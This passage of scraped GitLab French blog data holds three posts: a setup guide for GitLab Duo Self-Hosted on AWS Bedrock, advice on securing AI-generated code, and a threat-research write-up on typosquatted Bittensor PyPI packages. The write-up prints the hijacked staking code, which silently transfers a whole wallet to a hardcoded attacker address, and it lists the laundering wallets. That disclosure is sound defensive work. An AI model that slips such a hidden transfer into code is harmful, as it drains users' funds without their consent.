Self-Hosted ?\") pour aider les entreprises à respecter des exigences strictes de souveraineté des données tout en tirant parti du développement assisté par IA. L'accent est mis sur l'utilisation de modèles hébergés sur AWS Bedrock plutôt que sur la mise en place d'une solution de service [LLM](https://about.gitlab.com/fr-fr/blog/large-language-model/ \"Qu'est-ce qu'un LLM ?\") comme vLLM. Cependant, la méthodologie peut être appliquée aux modèles fonctionnant dans votre propre centre de données si vous disposez des capacités nécessaires. \n\n\n> Consultez le replay de notre webinaire **[GitLab Duo : une IA en auto hébergé respectueuse de la confidentialité des données](https://webcasts.gitlab.com/e/676ce079-bcfb-4bfe-8288-5d6fa224bbe4/stage/broadcast/f01358fd-8277-4733-b45d-703e6db8fe9d)**.\n\n\n## Pourquoi GitLab Duo Self-Hosted ?\n\n\nGitLab Duo Self-Hosted permet de déployer les capacités d'IA de GitLab au sein de votre propre infrastructure, que ce soit sur site, dans un cloud privé ou au sein de votre environnement sécurisé.\n\n\n### Quels sont les principaux avantages ?\n\n\n**Confidentialité et contrôle complets des données :** conservez le code sensible et la propriété intellectuelle dans votre périmètre de sécurité, en garantissant qu'aucune donnée ne quitte votre environnement.\n\n\n**Flexibilité des modèles :** choisissez parmi une variété de modèles adaptés à vos besoins spécifiques de performance et à vos cas d'usage, notamment les familles Anthropic Claude, Meta Llama, Mistral et OpenAI GPT.\n\n\n**Conformité réglementaire :** respectez les exigences réglementaires dans les industries hautement réglementées où les données doivent rester dans des limites géographiques spécifiques.\n\n\n**Personnalisation :** configurez les fonctionnalités GitLab Duo qui utilisent des modèles spécifiques pour optimiser les performances et les coûts.\n\n\n**Flexibilité de déploiement :** déployez dans des environnements complètement isolés, sur site ou dans des environnements cloud sécurisés.\n\n\n## Vue d'ensemble de l'architecture\n\n\nLa solution GitLab Duo Self-Hosted comprend trois composants principaux :\n\n\n1. **Une instance GitLab Self-Managed :** votre instance GitLab existante où les utilisateurs interagissent avec les fonctionnalités de GitLab Duo.\n\n2. **Une passerelle d’IA (AI-Gateway):** un service qui achemine les requêtes entre GitLab et votre backend LLM choisi.\n\n3. **Un backend LLM :** le service de modèle IA proprement dit, qui, dans cet article, sera AWS Bedrock. Note : vous pouvez utiliser une [autre plateforme de service](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/) si vous fonctionnez sur site ou utilisez un autre fournisseur cloud.\n\n\n![Schéma de flux réseau en environnement air-gapped](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/jws4h2kakflfrczftypj.png)\n\n\n## Prérequis\n\n\nAvant de commencer, vous aurez besoin : \n\n\n* D’une instance GitLab Premium ou GitLab Ultimate (version 17.10 ou ultérieure)\n\n  * Nous recommandons fortement d'utiliser la dernière version de GitLab car nous ajoutons continuellement de nouvelles fonctionnalités à notre plateforme.\n* D’une licence complémentaire GitLab Duo Enterprise\n\n* D’un compte AWS avec accès aux modèles Bedrock ou votre clé API et identifiants nécessaires pour interroger votre modèle de service LLM\n\n\nNote : si vous n'êtes pas encore client GitLab, vous pouvez vous inscrire pour bénéficier d'un [essai gratuit de GitLab Ultimate](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas), qui inclut GitLab Duo Enterprise.\n\n\n## Étapes d'implémentation\n\n\n### 1. Installez la passerelle d’IA\n\n\nLa passerelle d’IA (ou AI-Gateway) est le composant qui achemine les requêtes entre votre instance GitLab et votre infrastructure de service LLM, ici AWS Bedrock. Il peut s'exécuter dans une image Docker. Suivez les instructions de notre [documentation d'installation](https://docs.gitlab.com/install/install_ai_gateway/) pour commencer.\n\n\nPour cet exemple, utilisant AWS Bedrock, vous devez également transmettre l’identifiant AWS et la clé d'accès secrète, ainsi que la région AWS.\n\n\n```yaml\n\nAIGW_TAG=self-hosted-v18.1.2-ee`\n\n\ndocker run -d -p 5052:5052 \\\n\n   -e AIGW_GITLAB_URL=\u003Cyour_gitlab_instance> \\\n\n   -e AIGW_GITLAB_API_URL=https://\u003Cyour_gitlab_domain>/api/v4/ \\\n\n   -e AWS_ACCESS_KEY_ID=$AWS_KEY_ID\n\n   -e AWS_SECRET_ACCESS_KEY=$AWS_SECRET_ACCESS_KEY \\\n\n   -e AWS_REGION_NAME=$AWS_REGION_NAME \\\n\nregistry.gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/model-gateway:$AIGW_TAG \\\n\n```\n\n\nVoici la [liste ](https://gitlab.com/gitlab-org/modelops/applied-ml/code-suggestions/ai-assist/-/tags)des `AIGW_TAG`.\n\n\nDans cet exemple, nous utilisons Docker, mais il est également possible d'utiliser le chart Helm. Consultez notre [documentation d'installation](https://docs.gitlab.com/install/install_ai_gateway/#install-by-using-helm-chart) pour plus d'informations.\n\n\n### 2. Configurez GitLab pour accéder à la passerelle d’IA\n\n\nMaintenant que la passerelle d’IA (AI-Gateway) est en cours d'exécution, vous devez configurer votre instance GitLab pour l'utiliser.\n\n\n1. Dans la barre latérale gauche, en bas, sélectionnez **Admin**.\n\n2. Sélectionnez **GitLab Duo**.\n\n3. Dans la section GitLab Duo, sélectionnez **Modifier la configuration**.\n\n4. Sous **URL locale de la passerelle d’IA**, entrez l'URL de votre passerelle et le port du conteneur (par exemple, `https://ai-gateway.example.com:5052`).\n\n5. Sélectionnez **Enregistrer les modifications**.\n\n\n![Configuration de GitLab pour accéder au AI-Gateway](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/xj9kvljkqsacpsw41k4a.png)\n\n\n### 3. Accédez aux modèles depuis AWS Bedrock\n\n\nEnsuite, demandez l'accès aux modèles disponibles sur AWS Bedrock.\n\n\n1. Naviguez vers votre compte AWS et Bedrock.\n\n2. Sous **Accès aux modèles**, sélectionnez les modèles que vous souhaitez utiliser et suivez les instructions pour obtenir l'accès.\n\n\nVous trouverez plus d'informations dans la [documentation AWS Bedrock](https://docs.aws.amazon.com/bedrock/latest/userguide/getting-started.html).\n\n\n### 4. Configurez le modèle auto-hébergé\n\n\nMaintenant, configurons un modèle AWS Bedrock spécifique pour l'utiliser avec GitLab Duo.\n\n\n![Ajout d’un modèle auto-hébergé](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422792/chrlgdvxwdetcszptsav.png)\n\n\n1. Dans la barre latérale gauche, en bas, sélectionnez **Admin**.\n\n2. Sélectionnez **GitLab Duo Self-Hosted**.\n\n3. Sélectionnez **Ajouter un modèle auto-hébergé**.\n\n4. Remplissez les champs suivants :\n\n   * **Nom du déploiement :** un nom pour identifier cette configuration de modèle (par exemple, « Mixtral 8x7B »)\n   * **Plateforme :** choisissez AWS Bedrock\n   * **Famille de modèles :** sélectionnez un modèle, par exemple « Mixtral »\n   * **Identifiant du modèle :** `bedrock/identifiant-du-modèle` depuis la [liste](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/) supportée.\n5. Sélectionnez **Créer le modèle auto-hébergé**.\n\n\n### 5. Configurez les fonctionnalités GitLab Duo pour utiliser votre modèle auto-hébergé\n\n\nAprès avoir configuré votre modèle, assignez-le aux fonctionnalités GitLab Duo spécifiques.\n\n\n![Configuration des fonctionnalités GitLab Duo Self-Hosted](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/an2i9s2p9cja2xx27g4z.png)\n\n\n1. Dans la barre latérale gauche, en bas, sélectionnez **Admin**.\n\n2. Sélectionnez **GitLab Duo Self-Hosted**.\n\n3. Sélectionnez l'onglet **Fonctionnalités alimentées par l'IA**.\n\n4. Pour chaque fonctionnalité (par exemple, suggestions de code, GitLab Duo Chat) et sous-fonctionnalité (par exemple, génération de code, explication du code), sélectionnez le modèle que vous venez de configurer dans le menu déroulant.\n\n\nPar exemple, vous pourriez assigner Mixtral 8x7B aux tâches de génération de code et Claude 3 Sonnet à la fonctionnalité GitLab Duo Chat. Consultez notre [documentation](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/) sur les exigences pour sélectionner le bon modèle en fonction de votre usage depuis la liste de compatibilité des modèles par fonctionnalité de GitLab Duo.\n\n\n## Vérification de votre configuration\n\n\nPour vous assurer que votre implémentation de GitLab Duo Self-Hosted avec AWS Bedrock fonctionne correctement, effectuez les vérifications suivantes :\n\n\n### 1. Lancez une vérification de l’état des services\n\n\nAprès avoir lancé une vérification de l’état des services de votre modèle pour vous assurer qu'il est opérationnel, retournez à la section **GitLab Duo** depuis la page **Admin** et cliquez sur **Lancer la vérification de l'état des services** (Run health check).\n\n\nCela permet de vérifier si : \n\n\n* L'URL de la passerelle d’IA est correctement configurée.\n\n* Votre instance peut se connecter à la passerelle d’IA.\n\n* La licence GitLab Duo est activée.\n\n* Un modèle est assigné aux suggestions de code (car c'est le modèle utilisé pour tester la connexion).\n\n\n![Lancement d’une vérification de l’état des services](https://res.cloudinary.com/about-gitlab-com/image/upload/v1754422793/yffw21yhjpwummw1ffsw.png)\n\n\nSi l'état des services signale des problèmes, consultez notre [guide de dépannage](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/troubleshooting/) pour découvrir les erreurs courantes.\n\n\n### 2. Testez les fonctionnalités de GitLab Duo\n\n\nEssayez quelques fonctionnalités de GitLab Duo pour vous assurer qu'elles fonctionnent :\n\n\n* Dans l'interface utilisateur, ouvrez GitLab Duo Chat et posez-lui une question.\n\n* Ouvrez le Web IDE\n\n* Créez un nouveau fichier de code et voyez si les suggestions de code apparaissent.\n\n* Sélectionnez un extrait de code et utilisez la commande `/explain` pour recevoir une explication de GitLab Duo Chat.\n\n\n### 3. Vérifiez les logs de la passerelle d’IA\n\n\nExaminez les logs de la passerelle d’IA pour voir les requêtes arrivant à la passerelle depuis le modèle sélectionné.\n\n\nDans votre terminal, exécutez :\n\n\n```yaml\n\ndocker logs \u003Cai-gateway-container-id>\n\n```\n\n\n**Optionnel :** dans AWS, vous pouvez [activer CloudWatch et S3 comme destinations de logs](https://docs.aws.amazon.com/bedrock/latest/userguide/model-invocation-logging.html). Cela vous permettra de voir toutes vos requêtes, prompts et réponses dans CloudWatch.\n\n\n**Avertissement :** gardez à l'esprit que l'activation de ces logs dans AWS enregistre les données utilisateur, ce qui peut ne pas être conforme aux règles de confidentialité.\n\n\nEt voilà, vous avez maintenant un accès complet à l'utilisation des fonctionnalités d’IA de GitLab Duo sur toute la plateforme tout en conservant un contrôle total sur le flux de données opérant au sein du cloud AWS sécurisé.\n\n\n## Prochaines étapes\n\n\n### Sélectionnez le bon modèle pour chaque cas d'usage\n\n\nL'équipe GitLab teste activement les performances de chaque modèle pour chaque fonctionnalité et fournit un [classement par niveau de performance et d'adéquation des modèles selon la fonctionnalité](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_models_and_hardware_requirements/#supported-models) :\n\n\n* **Entièrement compatible :** le modèle peut probablement gérer la fonctionnalité sans aucune perte de qualité.\n\n* **Largement compatible :** le modèle prend en charge la fonctionnalité, mais il peut y avoir des compromis ou des limitations.\n\n* **Non compatible :** le modèle ne convient pas à la fonctionnalité, entraînant probablement une perte significative de qualité ou des problèmes de performance.\n\n\nÀ ce jour, la plupart des fonctionnalités GitLab Duo peuvent être configurées avec Self-Hosted. La vue d'ensemble complète est disponible dans notre [documentation](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/#supported-gitlab-duo-features).\n\n\n### Au-delà d'AWS Bedrock\n\n\nBien que ce guide se concentre sur l'intégration AWS Bedrock, GitLab Duo Self-Hosted prend en charge plusieurs options de déploiement :\n\n\n* **[Sur site avec vLLM](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#vllm) :** éxécutez des modèles localement avec vLLM pour des environnements complètement isolés.\n\n* **[Azure OpenAI Service](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/supported_llm_serving_platforms/#for-cloud-hosted-model-deployments) :** similaire à AWS Bedrock, vous pouvez utiliser Azure OpenAI pour des modèles comme GPT-4.\n\n\n## Conclusion\n\n\nGitLab Duo Self-Hosted offre une solution puissante pour les entreprises qui ont besoin d'outils de développement alimentés par l'IA tout en maintenant un contrôle strict sur leurs données et leur infrastructure. En suivant ce guide d'implémentation, vous pouvez déployer une solution robuste qui répond aux exigences de sécurité et de conformité sans compromettre les capacités avancées que l'IA apporte à votre cycle de développement logiciel.\n\n\nPour les entreprises ayant des besoins stricts en matière de sécurité et de conformité, GitLab Duo Self-Hosted trouve l'équilibre parfait entre innovation et contrôle, vous permettant d'exploiter la puissance de l'IA tout en préservant la sécurité de votre code et votre propriété intellectuelle.\n\n\nVous souhaitez en savoir plus sur la mise en œuvre de GitLab Duo Self-Hosted dans votre environnement ? [Contactez notre équipe commerciale](https://about.gitlab.com/fr-fr/sales/) ou [consultez notre documentation](https://docs.gitlab.com/administration/gitlab_duo_self_hosted/) pour obtenir des informations plus détaillées.\n\n\n> Consultez le replay de notre webinaire **[GitLab Duo : une IA en auto hébergé respectueuse de la confidentialité des données](https://webcasts.gitlab.com/e/676ce079-bcfb-4bfe-8288-5d6fa224bbe4/stage/broadcast/f01358fd-8277-4733-b45d-703e6db8fe9d)**.\n",{"featured":6,"template":683,"slug":709},"gitlab-duo-self-hosted-models-on-aws-bedrock","content:fr-fr:blog:gitlab-duo-self-hosted-models-on-aws-bedrock.yml","Gitlab Duo Self Hosted Models On Aws Bedrock","fr-fr/blog/gitlab-duo-self-hosted-models-on-aws-bedrock.yml","fr-fr/blog/gitlab-duo-self-hosted-models-on-aws-bedrock",{"_path":715,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":716,"content":719,"config":725,"_id":727,"_type":16,"title":728,"_source":17,"_file":729,"_stem":730,"_extension":20},"/fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms",{"noIndex":6,"title":717,"description":718},"3 bonnes pratiques pour créer des logiciels à l'ère des LLM","La rapidité de codage avec l'IA appelle de nouvelles habitudes de sécurité. Découvrez comment les déployer tout au long du workflow DevSecOps.",{"title":717,"description":718,"authors":720,"heroImage":721,"body":722,"date":723,"category":697,"tags":724},[680],"https://res.cloudinary.com/about-gitlab-com/image/upload/v1749662523/Blog/Hero%20Images/Gartner_DevOps_Blog_Post_Cover_Image_1800x945__2_.png","L'IA s'impose désormais comme un pilier du développement logiciel moderne. En plus d'aider les équipes de développement à coder plus rapidement que jamais, elle automatise les tâches répétitives telles que la génération de scénarios de test ou la synthèse de la documentation. Selon notre [Rapport Global DevSecOps 2024](https://about.gitlab.com/fr-fr/developer-survey/), 81 % des développeurs utilisent déjà l'IA dans leurs workflows ou prévoient de le faire au cours des deux prochaines années.\n\nÉtant donné que l'écriture du code devient moins manuelle, un changement de comportement subtil mais non dénué de conséquences émerge : les développeurs commencent à faire confiance au code généré par l'IA sans le vérifier aussi minutieusement qu'auparavant. Aussi compréhensible soit-elle, cette pratique peut introduire des risques de sécurité inaperçus, d'autant plus lorsque le volume global de code augmente. Il serait irréaliste d'attendre des développeurs qu'ils maîtrisent toutes les vulnérabilités ou exploits existants. Ils ont donc besoin de systèmes et de mesures de protection capables d'évoluer à leur rythme. Les outils d'IA ne sont pas une mode transitoire, ils sont là pour durer. Les professionnels de la sécurité doivent donner aux équipes de développement les moyens de les adopter de manière à améliorer à la fois leur rapidité, leur efficacité, mais aussi la sécurité.\n\nVoici trois bonnes pratiques pour y parvenir. \n\n## Ne jamais faire confiance sans vérifier\n\nComme nous l'avons évoqué dans l'introduction, les équipes de développement ont tendance à accorder une confiance croissante au code généré par l'IA, en particulier lorsqu'il semble bien structuré et se compile sans erreur. Pour lutter contre ce relâchement, adoptez un état d'esprit Zero Trust. Bien que le principe du [Zero Trust](https://about.gitlab.com/blog/why-devops-and-zero-trust-go-together/) soit généralement associé à la gestion des identités et des accès, ce concept s'applique aussi au code généré par l'IA, mais avec une nuance notable : il faut le traiter comme s'il s'agissait d'un code écrit par un développeur junior. Il peut être utile, mais il ne doit jamais être déployé en production sans une revue rigoureuse. \n\nChaque développeur doit être en mesure d'expliquer le fonctionnement du code et de garantir sa sécurité avant qu'il ne soit fusionné. Dans ce contexte, la capacité à effectuer une revue en bonne et due forme du code généré par l'IA émerge comme une compétence à part entière et incontournable dans le développement logiciel. Les développeurs qui excellent dans ce domaine seront indispensables, car ils allient rapidité des LLM et réduction des risques de manière réfléchie pour produire un code sécurisé, plus rapidement. \n\nDes outils comme la [revue de code de GitLab Duo](https://docs.gitlab.com/user/project/merge_requests/duo_in_merge_requests/) peuvent vous assister. Intégrée à notre assistant IA sur l'ensemble du cycle de développement, cette fonctionnalité enrichit le processus de revue de code. Son objectif n'est pas de remplacer l'expertise humaine, mais de la renforcer : en identifiant les oublis, les incohérences et les zones d'ombre dans les merge requests, l'IA aide les équipes à tenir le rythme de cycles de développement accélérés. \n\n## Sécuriser les modèles à l'aide de prompts\n\nLa puissance des [grands modèles de langage (LLM)](https://about.gitlab.com/blog/what-is-a-large-language-model-llm/ \"Qu'est-ce qu'un LLM ?\") n'est plus à prouver, mais leur précision dépend des prompts qui leur sont fournis. C'est pourquoi l'ingénierie des prompts devient une compétence centrale de l'utilisation des outils d'IA. Dans le monde des LLM, la requête que vous formulez *est* votre interface. Les équipes qui apprennent à rédiger des prompts clairs et orientés sécurité joueront un rôle déterminant dans la création de logiciels plus sûrs dès les premières lignes de code.\n\nDes requêtes vagues produisent souvent des résultats vulnérables ou trop simplistes, par exemple, un prompt tel que « crée un formulaire de connexion ». En revanche, le résultat répondra aux normes de sécurité de votre entreprise si vous incluez plus de contexte avec une requête du type « crée un formulaire de connexion **avec** validation des intrants, limitation du débit, hachage sécurisé **et** prise en charge de méthodes d'authentification résistantes à l'hameçonnage, comme les clés d'accès ». \n\nUne [étude](https://www.backslash.security/press-releases/backslash-security-reveals-in-new-research-that-gpt-4-1-other-popular-llms-generate-insecure-code-unless-explicitly-prompted) récente de Backslash Security le confirme. Elle montre que les prompts spécifiquement orientés sécurité améliorent considérablement les résultats dans les LLM les plus courants. Lorsque les développeurs demandent simplement aux modèles d'« écrire du code sécurisé », la probabilité d'obtenir un résultat sécurisé reste faible. En revanche, les prompts qui font référence aux [bonnes pratiques de l'OWASP](https://cheatsheetseries.owasp.org/cheatsheets/LLM_Prompt_Injection_Prevention_Cheat_Sheet.html) guident efficacement les LLM. \n\nÀ l'avenir, l'ingénierie des prompts devra faire partie intégrante de la formation des équipes de sécurité au sein des équipes de développement logiciel. Tout comme sont enseignés les coding patterns sécurisés et la modélisation des menaces, expliquer aux développeurs comment guider les outils d'IA sans se départir de cette approche centrée sur la sécurité devient indispensable. \n\n> Pour aller plus loin, consultez ces [conseils utiles sur l'ingénierie des prompts](https://docs.gitlab.com/development/ai_features/prompt_engineering/).\n\n## Tout analyser, sans exception\n\nAvec l'essor de l'IA, les équipes écrivent davantage de code, plus rapidement, sans pour autant être plus nombreuses. Ce changement doit profondément modifier notre conception de la sécurité. Il ne s'agit plus seulement d'une vérification finale, mais d'une protection permanente intégrée à tous les aspects du processus de développement.\n\nUne plus grande quantité de code implique davantage de possibilités d'attaques. Et lorsque ce code est partiellement ou entièrement généré, il devient illusoire de s'en remettre uniquement à des pratiques de codage sécurisées ou à l'intuition de chaque développeur pour repérer les vulnérabilités. C'est là que le scanning de sécurité automatisé entre en jeu. Les [tests statiques de sécurité des applications (SAST)](https://docs.gitlab.com/user/application_security/sast/), l'[analyse de la composition logicielle (SCA)](https://docs.gitlab.com/user/application_security/dependency_scanning/) et la [détection des secrets](https://docs.gitlab.com/user/application_security/secret_detection/) sont aujourd'hui des garde-fous indispensables pour atténuer le risque de fuites de secrets, d'attaques de la chaîne d'approvisionnement logicielle et de faiblesses telles que les injections SQL. Sur des plateformes comme GitLab, la [sécurité des applications](https://about.gitlab.com/fr-fr/solutions/security-compliance/) est intégrée en amont dans le workflow des équipes de développement et représente un composant à part entière du cycle de développement. Les scanners peuvent également parcourir l'ensemble du programme pour s'assurer que le nouveau code généré par l'IA est sécurisé *dans le contexte de tout le reste du code*. Cela peut être difficile à repérer si vous ne vérifiez que le nouveau code dans votre IDE ou dans un correctif généré par l'IA.\n\nMais les analyses ne suffisent pas, il s'agit de tenir le rythme. Si les équipes de développement veulent suivre la rapidité du développement assisté par l'IA, elles ont besoin d'analyses rapides, précises et évolutives. L'exactitude est particulièrement importante. Si les scanners submergent les équipes de développement de faux positifs, ces dernières risquent de perdre entièrement confiance dans le système. \n\nLa seule façon d'agir rapidement *et* de maintenir la sécurité est d'imposer les scans. \n\nÀ chaque commit. Sur chaque branche. Sans exception.\n\n## Sécurisez votre code généré par l'IA avec GitLab\n\nL'IA modifie la façon dont nous créons des logiciels, mais les principes fondamentaux du développement logiciel sécurisé s'appliquent toujours : le code doit faire l'objet d'une revue rigoureuse, des tests doivent être effectués pour contrer les menaces et la sécurité doit toujours être intégrée à chaque étape du cycle de développement. C'est précisément l'approche adoptée par GitLab. \n\nNotre plateforme de développement n'ajoute pas la sécurité en bout de chaîne au workflow. Elle l'intègre directement là où les équipes travaillent déjà : dans l'IDE, dans les merge requests et à chaque étape du [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"). Les scans s'exécutent automatiquement, et le contexte de sécurité le plus pertinent est mis en évidence pour accélérer les cycles de correction. Comme ces fonctionnalités sont disponibles sur une seule plateforme, celle-là même où les équipes de développement créent, testent et déploient des logiciels, ces dernières n'ont pas à jongler entre différents outils, ni à changer de contexte ou lutter pour obtenir du code sécurisé.\n\nLes fonctionnalités d'IA telles que [l'explication et la résolution des vulnérabilités de GitLab Duo](https://about.gitlab.com/fr-fr/the-source/ai/understand-and-resolve-vulnerabilities-with-ai-powered-gitlab-duo/) améliorent la rapidité de développement et mettent à disposition des informations stratégiques qui aident les équipes à comprendre les risques et à les corriger plus rapidement, sans interrompre leur workflow.\n\nL'IA n'est pas une solution miracle pour sécuriser le code. Néanmoins, associée aux bonnes pratiques et à une plateforme conçue pour les développeurs, elle peut participer grandement à la création rapide de logiciels sécurisés et évolutifs. \n\n> [Essayez gratuitement GitLab Ultimate avec GitLab Duo Enterprise](https://about.gitlab.com/fr-fr/free-trial/?hosted=saas) et créez des logiciels sécurisés, plus rapidement. Grâce au scanning de sécurité natif, aux analyses alimentées par l'IA et à une expérience développeur optimisée, GitLab vous aide à renforcer la sécurité en amont, sans jamais freiner l'innovation.","2025-08-12",[699,673],{"featured":92,"template":683,"slug":726},"3-best-practices-for-building-software-in-the-era-of-llms","content:fr-fr:blog:3-best-practices-for-building-software-in-the-era-of-llms.yml","3 Best Practices For Building Software In The Era Of Llms","fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms.yml","fr-fr/blog/3-best-practices-for-building-software-in-the-era-of-llms",{"_path":732,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":733,"content":737,"config":745,"_id":747,"_type":16,"title":748,"_source":17,"_file":749,"_stem":750,"_extension":20},"/fr-fr/blog/gitlab-uncovers-bittensor-theft-campaign-via-pypi",{"config":734,"title":735,"description":736,"ogImage":7},{"noIndex":6},"GitLab révèle une série d'attaques sur Bittensor via PyPI","Découvrez comment nous avons identifié une série d'attaques de typosquatting avec des paquets PyPI qui ciblaient de la cryptomonnaie.",{"heroImage":738,"body":739,"authors":740,"updatedDate":7,"date":742,"title":735,"tags":743,"description":744,"category":673},"https://res.cloudinary.com/about-gitlab-com/image/upload/f_auto,q_auto,c_lfill/f_auto,q_auto,c_lfill/v1750098739/Blog/Hero%20Images/Blog/Hero%20Images/AdobeStock_282096522_securitycompliance.jpeg_1750098739024.jpg","L'équipe de recherche dédiée aux vulnérabilités de GitLab a identifié une série de vols sophistiqués de cryptomonnaie ciblant l'écosystème Bittensor à travers des paquets [Python](https://about.gitlab.com/fr-fr/blog/beginner-guide-python-programming/ \"Qu'est-ce que le Python ?\") typosquattés sur PyPI.\n\n\nNotre enquête a commencé lorsque le système de surveillance automatisée des paquets de GitLab a signalé une activité suspecte liée à des paquets Bittensor prisés. Nous avons découvert plusieurs variantes de paquets Bittensor ayant fait l'objet de typosquatting, qui avaient pour objectif de voler de la cryptomonnaie dans les portefeuilles de développeurs et d'utilisateurs peu méfiants.\n\n\nLes paquets malveillants identifiés ont tous été publiés au cours d'une fenêtre de 25 minutes le 6 août 2025 :\n\n\n* `bitensor@9.9.4` (02:52 UTC)\n\n* `bittenso-cli@9.9.4` (02:59 UTC)\n\n* `qbittensor@9.9.4` (03:02 UTC)\n\n* `bitensor@9.9.5` (03:15 UTC)\n\n* `bittenso@9.9.5` (03:16 UTC)\n\n\nTous les paquets étaient conçus pour imiter les véritables paquets `bittensor` et `bittensor-cli`, des composants essentiels du réseau d'IA décentralisé Bittensor.\n\n\n## Analyse technique : déroulement du vol\n\n\nNotre analyse a révélé un vecteur d'attaque soigneusement orchestré où les cybercriminels avaient modifié la fonctionnalité de staking d'origine pour voler des fonds. Les paquets malveillants contenaient une version détournée de la fonction `stake_extrinsic` dans `bittensor_cli/src/commands/stake/add.py`.\n\n\nLà où les utilisateurs s'attendaient à une opération de staking normale, les attaquants avaient inséré du code malveillant à la ligne 275 qui détournait tous les fonds vers leur portefeuille :\n\n\n```python\n\nresult = await transfer_extrinsic(\n  subtensor=subtensor,\n  wallet=wallet,\n  destination=\"5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR\",\n  amount=amount,\n  transfer_all=True,\n  prompt=False\n)\n\n```\n\n\nCe processus malveillant corrompait complètement le processus de staking :\n\n\n* **Exécution indétectable :** utilisation de `prompt=False` pour contourner la confirmation de l'utilisateur\n\n* **Vol complet du portefeuille :** définition de `transfer_all=True` pour voler tous les fonds disponibles, pas seulement le montant de staking\n\n* **Destination codée en dur :** transfert de tous les fonds vers l'adresse du portefeuille du cybercriminel\n\n* **Caché à la vue de tous :** exécution pendant une opération de staking en apparence normale\n\n\nL'attaque est particulièrement insidieuse, car les utilisateurs croient qu'ils stakent des tokens pour gagner des récompenses, mais à la place, la fonction modifiée vide entièrement leur portefeuille.\n\n\n### Pourquoi cibler la fonctionnalité de staking ?\n\n\nLes attaquants semblent avoir spécifiquement ciblé les opérations de staking pour des raisons calculées. Dans les réseaux blockchain comme Bittensor, le **staking** consiste à verrouiller ses tokens de cryptomonnaie pour soutenir les opérations du réseau afin de gagner des récompenses en retour, un processus que l'on peut comparer aux intérêts versés sur un compte épargne.\n\n\nLe staking est ainsi un vecteur d'attaque idéal :\n\n\n1. **Cibles de grande valeur :** les utilisateurs qui stakent détiennent généralement des avoirs substantiels en cryptomonnaie, ce qui en fait des victimes particulièrement intéressantes.\n\n2. **Accès requis au portefeuille :** les opérations de staking nécessitent que les utilisateurs déverrouillent leurs portefeuilles et fournissent une authentification. Cette opération donne au code malveillant exactement ce dont celui-ci a besoin pour vider les fonds.\n\n3. **Activité réseau attendue :** puisque le staking implique naturellement des transactions blockchain, le transfert malveillant supplémentaire n'éveille pas immédiatement les soupçons.\n\n4. **Opérations routinières :** les utilisateurs expérimentés stakent régulièrement ; ce processus familier les pousse à la complaisance et endort leur vigilance.\n\n5. **Détection retardée :** les utilisateurs pourraient d'abord supposer que les transactions correspondent à des frais de staking normaux ou à des retenues temporaires, ce qui retarde la découverte du vol.\n\n\nEn cachant du code malveillant dans une fonctionnalité de staking d'apparence légitime, les cybercriminels ont exploité à la fois les exigences techniques et la psychologie des utilisateurs des opérations de blockchain routinières.\n\n\n## Suivre l'argent\n\n\nL'équipe de recherche dédiée aux vulnérabilités de GitLab a cherché à identifier l'origine des flux de cryptomonnaie pour comprendre l'ampleur de cette opération. Le portefeuille de destination principal `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR` a servi de point de collecte central avant que les fonds ne soient distribués à travers un réseau de portefeuilles intermédiaires.\n\n\n### Le réseau de blanchiment d'argent\n\n\nNotre analyse a révélé un mécanisme de blanchiment à plusieurs sauts :\n\n\n1. **Collecte principale :** les fonds volés arrivent initialement sur `5FjgkuPzAQHax3hXsSkNtue8E7moEYjTgrDDGxBvCzxc1nqR`\n\n2. **Réseau de distribution :** les fonds sont rapidement déplacés vers des portefeuilles intermédiaires :\n\n   * `5HpsyxZKvCvLEdLTkWRM4d7nHPnXcbm4ayAsJoaVVW2TLVP1`\n   * `5GiqMKy1kAXN6j9kCuog59VjoJXUL2GnVSsmCRyHkggvhqNC`\n   * `5ER5ojwWNF79k5wvsJhcgvWmHkhKfW5tCFzDpj1Wi4oUhPs6`\n   * `5CquBemBzAXx9GtW94qeHgPya8dgvngYXZmYTWqnpea5nsiL`\n3. **Consolidation finale :** tous les chemins convergent finalement vers `5D6BH6ai79EVN51orsf9LG3k1HXxoEhPaZGeKBT5oDwnd2Bu`\n\n4. **Portefeuille où l'argent est encaissé :** la destination finale semble être `5HDo9i9XynX44DFjeoabFqPF3XXmFCkJASC7FxWpbqv6D7QQ`\n\n\n## Le typosquatting\n\n\nLes cybercriminels ont utilisé une stratégie de typosquatting qui exploite les erreurs de frappe courantes et les conventions de nommage des paquets :\n\n\n* **Caractères manquants :** `bitensor` au lieu de `bittensor` ('t' manquant)\n\n* **Troncation :** `bittenso` au lieu de `bittensor` ('r' final manquant)\n\n* **Imitation de version :** tous les paquets utilisaient des numéros de version (`9.9.4`, `9.9.5`) qui correspondaient étroitement aux versions des véritables paquets.\n\n\nCette approche maximise les chances d'installation en raison des erreurs de frappe des équipes de développement lors des commandes `pip install` et des erreurs de copier-coller depuis la documentation.\n\n\n## Perspectives : l'avenir de la sécurité de la chaîne d'approvisionnement\n\n\nGitLab continue d'investir dans la recherche proactive en matière de sécurité pour identifier et neutraliser les menaces avant qu'elles n'impactent notre communauté. Notre système de détection automatisé travaille 24 heures sur 24 pour protéger la chaîne d'approvisionnement logicielle qui alimente le développement moderne.\n\n\nLa détection et l'analyse rapides de cette 